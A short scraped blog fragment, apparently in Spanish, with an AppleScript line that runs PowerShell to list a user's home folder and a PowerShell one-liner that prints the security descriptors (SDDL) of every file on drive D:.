set ficheros to do shell script "/usr/local/bin/powershell Get-ChildItem /Users/lamac"

display dialog ficheros

Filesystem Permissions PowerShell

Obtener los descriptores de seguridad de todos los ficheros de una unidad

(1 votes, average: 5.00 out of 5)

Get-ChildItem D:\ -Recurse | %{Get-Acl $_.FullName | Select-Object Sddl}

1	Get-ChildItem D:\ -Recurse \| %{Get-Acl $_.FullName \| Select-Object Sddl}

Older Posts